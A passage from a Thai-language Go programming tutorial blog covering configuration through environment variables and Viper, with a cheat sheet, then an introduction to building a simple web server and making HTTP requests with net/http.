./main </code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-12-at-4.05.03-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-12-at-4.05.03-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-12-at-4.05.03-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-12-at-4.05.03-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-12-at-4.05.03-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE19; Program &#xE43;&#xE2B;&#xE21;&#xE48; Environment Variable &#xE02;&#xE2D;&#xE07; Program &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE37;&#xE1A;&#xE17;&#xE2D;&#xE14;&#xE21;&#xE32;&#xE01;&#xE08;&#xE32;&#xE01; Environment &#xE41;&#xE21;&#xE48; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; Environment Variable &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Export &#xE1C;&#xE48;&#xE32;&#xE19; Command Line &#xE43;&#xE19;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE41;&#xE23;&#xE01;</p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Exercise</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Program &#xE17;&#xE35;&#xE48;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE31;&#xE01;&#xE17;&#xE32;&#xE22; &quot;Hello, [<strong>&#xE0A;&#xE37;&#xE48;&#xE2D;</strong>]!&quot; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; <strong>&#xE0A;&#xE37;&#xE48;&#xE2D;</strong> &#xE08;&#xE32;&#xE01; Environment Variable &#xE0A;&#xE37;&#xE48;&#xE2D; `GREETER_NAME` &#xE14;&#xE49;&#xE27;&#xE22; Viper &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE43;&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE0A;&#xE37;&#xE48;&#xE2D; Default &#xE40;&#xE1B;&#xE47;&#xE19; &quot;World&quot;</p><p><em><em><em><em><a href="https://forms.gle/7rvxa1NwEXdqH9bA6?ref=blog.pjjop.org"><em><em><em><em><em><em><em><em><em><em><em><em>Go Quiz </em></em></em></em></em></em></em></em>1</em></em></em></em>4</a><em><em><em><em><em><em><em><em><em><em><em><em> (</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>14<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Q&amp;A?</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%88%E0%B8%B1%E0%B8%94%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%95%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%84%E0%B9%88%E0%B8%B2"><em><em><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet </em></em></em></em><strong><strong><strong><strong><strong><strong><strong><em>&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;</em></strong></strong></strong></strong></strong></strong></strong></h3><pre><code>&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;
---------------

1. &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable
   export VARIABLE_NAME=VALUE // Unix/Linux
   set VARIABLE_NAME=VALUE // Windows

2. &#xE2D;&#xE48;&#xE32;&#xE19;&#xE04;&#xE48;&#xE32; Environment Variable:
   echo $VARIABLE_NAME // Unix/Linux
   echo %VARIABLE_NAME% // Windows

3. &#xE2D;&#xE48;&#xE32;&#xE19;&#xE04;&#xE48;&#xE32;&#xE43;&#xE19; Go &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; package &quot;os&quot;
   value := os.Getenv(&quot;VARIABLE_NAME&quot;)

4. &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Default Value
   func GetEnv(key, defaultValue string) string {
       value := os.Getenv(key)
       if value == &quot;&quot; {
           return defaultValue
       }
       return value
   }

5. &#xE41;&#xE1B;&#xE25;&#xE07;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; int
   func GetEnvAsInt(key string, defaultValue int) int {
       valueStr := GetEnv(key, &quot;&quot;)
       if value, err := strconv.Atoi(valueStr); err == nil {
           return value
       }
       return defaultValue
   }

6. &#xE43;&#xE0A;&#xE49; Viper &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Config
   viper.SetEnvPrefix(&quot;MYAPP&quot;)
   viper.AutomaticEnv()

7. &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Default &#xE43;&#xE19; Viper
   viper.SetDefault(&quot;database_host&quot;, &quot;localhost&quot;)

8. &#xE2D;&#xE48;&#xE32;&#xE19;&#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; Viper
   viper.Unmarshal(&amp;config)

9. &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; struct &quot;Config&quot; &#xE43;&#xE19; Go
   type Config struct {
	DatabaseHost     string `mapstructure:&quot;database_host&quot;`
	DatabasePort     int    `mapstructure:&quot;database_port&quot;`
	DatabasePassword string `mapstructure:&quot;database_password&quot;`
}

10. Best Practices
    - &#xE41;&#xE22;&#xE01;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Environment Variable
    - &#xE43;&#xE0A;&#xE49; Secret Management System &#xE40;&#xE0A;&#xE48;&#xE19; HashiCorp Vault &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Production
    - &#xE2B;&#xE25;&#xE35;&#xE01;&#xE40;&#xE25;&#xE35;&#xE48;&#xE22;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE43;&#xE19; Output &#xE02;&#xE2D;&#xE07; Program

11. &#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
    - Clear Environment Variables &#xE02;&#xE2D;&#xE07; Program &#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
    - &#xE43;&#xE0A;&#xE49; os.Setenv() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variables &#xE02;&#xE2D;&#xE07; Program &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
    - &#xE23;&#xE35;&#xE40;&#xE0B;&#xE47;&#xE15; Viper &#xE01;&#xE48;&#xE2D;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Test Case</code></pre><h2 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%B3%E0%B8%87%E0%B8%B2%E0%B8%99%E0%B8%81%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%B7%E0%B8%AD%E0%B8%82%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%80%E0%B8%9A%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%95%E0%B9%89%E0%B8%99"><strong><strong><strong><strong><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22;</strong></strong>&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</strong></strong></strong></h2><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Application &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A; User &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01;&#xE43;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;</p><p>Go &#xE21;&#xE35; Standard Library &quot;<strong>net/http</strong>&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; HTTP &#xE17;&#xE35;&#xE48;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Web Server &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE40;&#xE2D;&#xE07; &#xE41;&#xE25;&#xE30;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Web &#xE44;&#xE14;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code>http.HandleFunc(&quot;/&quot;, func(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, &quot;&#xE22;&#xE34;&#xE19;&#xE14;&#xE35;&#xE15;&#xE49;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE09;&#xE31;&#xE19;!&quot;)
})
http.ListenAndServe(&quot;:8080&quot;, nil)</code></pre><figcaption>&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Web Server &#xE14;&#xE49;&#xE27;&#xE22; Go</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>url := &quot;http://localhost:8080&quot;
response, _ := http.Get(url)
body, _ := io.ReadAll(response.Body)
fmt.Println(string(body))</code></pre><figcaption>&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Web</figcaption></figure><p>http.HandleFunc() &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE01;&#xE0E;&#xE27;&#xE48;&#xE32; &#xE16;&#xE49;&#xE32;&#xE21;&#xE35;&#xE04;&#xE19;&#xE21;&#xE32;&#xE17;&#xE35;&#xE48;&#xE19;&#xE35;&#xE48; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE17;&#xE35;&#xE48; &quot;/&quot; &#xE43;&#xE2B;&#xE49;&#xE17;&#xE33;&#xE41;&#xE1A;&#xE1A;&#xE19;&#xE35;&#xE49; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1A;&#xE2D;&#xE01;&#xE1E;&#xE19;&#xE31;&#xE01;&#xE07;&#xE32;&#xE19;&#xE27;&#xE48;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE14;&#xE37;&#xE48;&#xE21;&#xE40;&#xE21;&#xE19;&#xE39;&#xE19;&#xE35;&#xE49;</p><p>http.HandleFunc() &#xE08;&#xE30;&#xE23;&#xE31;&#xE1A; parameters 2 &#xE15;&#xE31;&#xE27; &#xE04;&#xE37;&#xE2D; <strong>Pattern String</strong> &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; URL Path &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49; Handler Function &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; &#xE40;&#xE0A;&#xE48;&#xE19; &quot;/&quot;, &quot;/about&quot;, &quot;/users/{id}&quot; &#xE41;&#xE25;&#xE30; <strong>Handler Function </strong>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Function &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35; Request &#xE21;&#xE32;&#xE17;&#xE35;&#xE48; URL Path &#xE17;&#xE35;&#xE48;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Pattern</p><p><strong>Handler function</strong> &#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; <strong>Request</strong> (&#xE40;&#xE0A;&#xE48;&#xE19; Header &#xE41;&#xE25;&#xE30; Body) &#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE25;&#xE07;&#xE43;&#xE19; <strong>Response</strong> (&#xE40;&#xE0A;&#xE48;&#xE19; Status Code, Header &#xE41;&#xE25;&#xE30; Body)</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE22;&#xE01; Handler Function &#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;&#xE15;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE32;&#xE01;&#xE44;&#xE14;&#xE49; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE27;&#xE34;&#xE18;&#xE35;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE23;&#xE30;&#xE40;&#xE1A;&#xE35;&#xE22;&#xE1A; Code &#xE41;&#xE25;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Code &#xE2D;&#xE48;&#xE32;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;</p><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;log&quot;
	&quot;net/http&quot;
)

func welcomeHandler(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, &quot;&#xE22;&#xE34;&#xE19;&#xE14;&#xE35;&#xE15;&#xE49;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE09;&#xE31;&#xE19;!&quot;)
}

func main() {
	http.HandleFunc(&quot;/&quot;, welcomeHandler)

	log.Println(&quot;&#xE40;&#xE0B;&#xE34;&#xE23;&#xE4C;&#xE1F;&#xE40;&#xE27;&#xE2D;&#xE23;&#xE4C;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE2D;&#xE23;&#xE4C;&#xE15; 8080...&quot;)
	err := http.ListenAndServe(&quot;:8080&quot;, nil)
	if err != nil {
		log.Fatalf(&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE40;&#xE0B;&#xE34;&#xE23;&#xE4C;&#xE1F;&#xE40;&#xE27;&#xE2D;&#xE23;&#xE4C;: %v\n&quot;, err)
	}
}
</code></pre><p>Handler Function &#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A; Parameters 2 &#xE15;&#xE31;&#xE27; &#xE04;&#xE37;&#xE2D; http.ResponseWriter &#xE41;&#xE25;&#xE30; *http.Request</p><pre><code>func welcomeHandler(w http.ResponseWriter, r *http.Request)</code></pre><p><strong>w http.ResponseWriter</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Response &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Client &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D; Set Header, Write Response Body &#xE41;&#xE25;&#xE30; Set Status Code</p><p><strong>r *http.Request</strong> &#xE40;&#xE1B;&#xE47;&#xE19; Pointer &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; struct &quot;<a href="https://cs.opensource.google/go/go/+/refs/tags/go1.23.0:src/net/http/request.go;l=112?ref=blog.pjjop.org">Request</a>&quot; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A; HTTP Request &#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE40;&#xE0A;&#xE48;&#xE19; HTTP Method, Header, URL Parameter &#xE41;&#xE25;&#xE30; Request Body</p><p>&#xE2A;&#xE48;&#xE27;&#xE19; <strong>fmt.Fprintf()</strong> &#xE43;&#xE19; Handler Function &quot;welcomeHandler&quot; <strong>&#xE40;&#xE1B;&#xE47;&#xE19; Function &#xE17;&#xE35;&#xE48;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE40;&#xE23;&#xE32;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE17;&#xE35;&#xE48;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46;</strong> &#xE44;&#xE21;&#xE48;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE2B;&#xE19;&#xE49;&#xE32;&#xE08;&#xE2D; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE02;&#xE2D;&#xE07; Web Server &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE43;&#xE2B;&#xE49; Client</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Screenshot-2567-09-19-at-06.24.51.png" class="kg-image" alt loading="lazy" width="2000" height="1373" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Screenshot-2567-09-19-at-06.24.51.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/Screenshot-2567-09-19-at-06.24.51.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/Screenshot-2567-09-19-at-06.24.51.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/Screenshot-2567-09-19-at-06.24.51.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE14;&#xE49;&#xE27;&#xE22; Postman &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Method <strong>GET</strong> &#xE41;&#xE25;&#xE30; <strong>POST</strong> &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21; &quot;&#xE22;&#xE34;&#xE19;&#xE14;&#xE35;&#xE15;&#xE49;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE09;&#xE31;&#xE19;!&quot; &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22; fmt.Fprintf()</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-14-at-07.09.48.png" class="kg-image" alt loading="lazy" width="2000" height="1310" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-14-at-07.09.48.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-14-at-07.09.48.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-14-at-07.09.48.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-14-at-07.09.48.png 2400w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-14-at-07.15.30.png" class="kg-image" alt loading="lazy" width="2000" height="1310" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-14-at-07.15.30.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-14-at-07.15.30.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-14-at-07.15.30.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-14-at-07.15.30.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01; welcomeHandler &#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49; &#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE23;&#xE2D;&#xE07;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Method &#xE44;&#xE2B;&#xE19;&#xE40;&#xE25;&#xE22; &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Web Server &#xE44;&#xE14;&#xE49;&#xE17;&#xE38;&#xE01; Method</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Web Server &#xE14;&#xE49;&#xE27;&#xE22; net/http<strong> </strong>&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; Web Browser &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE02;&#xE49;&#xE32; Website &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE14;&#xE49;&#xE27;&#xE22; Fucntion &#xE40;&#xE0A;&#xE48;&#xE19; http.Get() &#xE41;&#xE25;&#xE30; http.Post() </p><pre><code>response, err := http.Get(&quot;https://example.com&quot;)</code></pre><p>&#xE41;&#xE25;&#xE49;&#xE27;&#xE43;&#xE0A;&#xE49; Function &quot;<strong>io.ReadAll()</strong>&quot; &#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Response Body &#xE41;&#xE25;&#xE30;<strong>&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07; Byte Slice</strong> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; defer response.Body.Close() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE34;&#xE14; Response Body &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Function &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;</p><p>&#xE42;&#xE14;&#xE22; io.ReadAll() &#xE40;&#xE1B;&#xE47;&#xE19; Function 